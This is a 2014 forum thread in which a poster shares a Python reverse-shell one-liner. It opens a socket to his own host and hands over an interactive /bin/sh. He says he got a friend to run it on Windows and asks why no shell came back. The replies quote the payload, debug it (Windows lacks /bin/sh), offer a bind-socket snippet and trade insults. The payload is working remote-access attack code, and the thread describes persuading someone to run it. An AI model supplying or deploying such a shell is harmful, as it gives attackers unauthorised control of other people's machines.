Login Register






The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.
Thread Rating:
  • 0 Vote(s) - 0 Average


Remote Shell Not Working filter_list
Author
Message
Remote Shell Not Working #1
Alright, so I convinced my friend to install python on his windows machine and run the code:
Code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec​​t(("my ip",my port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The following code makes a connection to the port I have forwarded on the machine I'm listening for connections on, then it spawns a shell prompt.

I'm running mac on the computer I was listening on and he's running windows on the computer he ran the script on.

I had a netcat listener listening on port 4444 before he ran the script, and after he ran it, I got a connection but I didn't get a shell.

I tested this on 2 macs, one of which was connected to my phone's hotspot and the other was connected to my home's wifi so they could be from 2 different networks. I tested it with both bash and shell and they both worked, but it didn't work when my friend ran the script.

Any idea why?

Reply

RE: Remote Shell Not Working #2
Let me break this down.
Code:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connec​​t(("my ip",my port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

There's a few things wrong with this.
  • No port is given.
  • No IP to connect is given.
  • You defined "p" to be subprocess.call, but you're not actually executing P.

Don't go for spawning a shell. Make the shell. Make sure the shell accepts connection from the other.

Ex:
Code:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#ip = "your ip here" OR ip = socket.gethostbyname(socket.gethostname)
s.bind(("your ip, can be given through a string as well",4444)) #4444 is the port to bind to
s.accept()

#####Other functions and such below
[Image: BXqGARG.png]

Reply

RE: Remote Shell Not Working #3
(03-30-2014, 08:53 AM)Duubz Wrote: Let me break this down.
Code:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connec​​t(("my ip",my port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

There's a few things wrong with this.
  • No port is given.
  • No IP to connect is given.
  • You defined "p" to be subprocess.call, but you're not actually executing P.

Don't go for spawning a shell. Make the shell. Make sure the shell accepts connection from the other.

Ex:
Code:
import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#ip = "your ip here" OR ip = socket.gethostbyname(socket.gethostname)
s.bind(("your ip, can be given through a string as well",4444)) #4444 is the port to bind to
s.accept()

#####Other functions and such below

You're a tard

1. This is a troll thread, I know entirely why this wouldn't work
2. It wouldn't work because windows has neither /bin/bash nor /bin/sh
3. There's absolutely nothing wrong with the code
4. I did give my ip through a string, lol. I also gave the port.

Sorry to steal your fire

Reply

RE: Remote Shell Not Working #4
(03-30-2014, 08:58 AM)Strex Wrote: You're a tard

1. This is a troll thread, I know entirely why this wouldn't work
2. It wouldn't work because windows has neither /bin/bash nor /bin/sh
3. There's absolutely nothing wrong with the code
4. I did give my ip through a string, lol. I also gave the port.

Sorry to steal your fire

Pretty sure it's "Sorry to steal your thunder".

And if this is a "troll" thread, then why post this? Especially when you ask for help in it.
And no, you did not give the ip or port. Look at the provided code. Sure, you said "my ip" and "my port", but that alone is not your IP nor your port.
[Image: BXqGARG.png]

Reply

RE: Remote Shell Not Working #5
(03-30-2014, 09:00 AM)Duubz Wrote: Pretty sure it's "Sorry to steal your thunder".

And if this is a "troll" thread, then why post this? Especially when you ask for help in it.
And no, you did not give the ip or port. Look at the provided code. Sure, you said "my ip" and "my port", but that alone is not your IP neither your port.

No shit, you think I'm just going to give my ip to all of SL?

Reply

RE: Remote Shell Not Working #6
(03-30-2014, 09:01 AM)Strex Wrote: No shit, you think I'm just going to give my ip to all of SL?

You do realize you can get your IP through socket, right? You don't HAVE to give us your IP. Nobody even said to give us your ip.
[Image: BXqGARG.png]

Reply

RE: Remote Shell Not Working #7
(03-30-2014, 09:00 AM)Duubz Wrote: Pretty sure it's "Sorry to steal your thunder".

And if this is a "troll" thread, then why post this? Especially when you ask for help in it.
And no, you did not give the ip or port. Look at the provided code. Sure, you said "my ip" and "my port", but that alone is not your IP nor your port.

Its not a troll thread, OP legitimately has no idea what he is doing.
Unleash the lead from my pistol into my head bumpin' crystal

Reply

RE: Remote Shell Not Working #8
(03-30-2014, 03:31 PM)Kosaki Wrote: Its not a troll thread, OP legitimately has no idea what he is doing.

Clearly.
[Image: BXqGARG.png]

Reply

RE: Remote Shell Not Working #9
(03-30-2014, 09:00 AM)Duubz Wrote: Pretty sure it's "Sorry to steal your thunder".

And if this is a "troll" thread, then why post this? Especially when you ask for help in it.
And no, you did not give the ip or port. Look at the provided code. Sure, you said "my ip" and "my port", but that alone is not your IP nor your port.

Sorry to steal your fire is an expression too, it refers to Greek mythology. Fire being a reference to Prometheus stealing fire from olympus and giving it to humans.

I wouldn't put my IP in the code either, I would put "<my IP here>"

How is he going to get his IP through socket, this is being ran on a different computer.

subprocess.call runs the given command, then returns the exit code of the command. This code would work just fine on any Linux system.

I do, however, highly doubt OP understood why it didn't work on Windows.

Reply

RE: Remote Shell Not Working #10
(03-30-2014, 03:42 PM)w00t Wrote: Sorry to steal your fire is an expression too, it refers to Greek mythology. Fire being a reference to Prometheus stealing fire from olympus and giving it to humans.

I wouldn't put my IP in the code either, I would put "<my IP here>"

How is he going to get his IP through socket, this is being ran on a different computer.

subprocess.call runs the given command, then returns the exit code of the command. This code would work just fine on any Linux system.

Sorry for not being a linux-based Python programmer.

Disregarding what type of programming I do or don't do, wouldn't it just be easier to have written it inside of the machine?

If it's a website, and you've been able to upload your script, then why not just do it through the machine anyways? It doesn't take as much time, or at least doesn't in my cases, and is also more efficient.

Mind you, that is based off of experience and opinion.
[Image: BXqGARG.png]

Reply







Users browsing this thread: 2 Guest(s)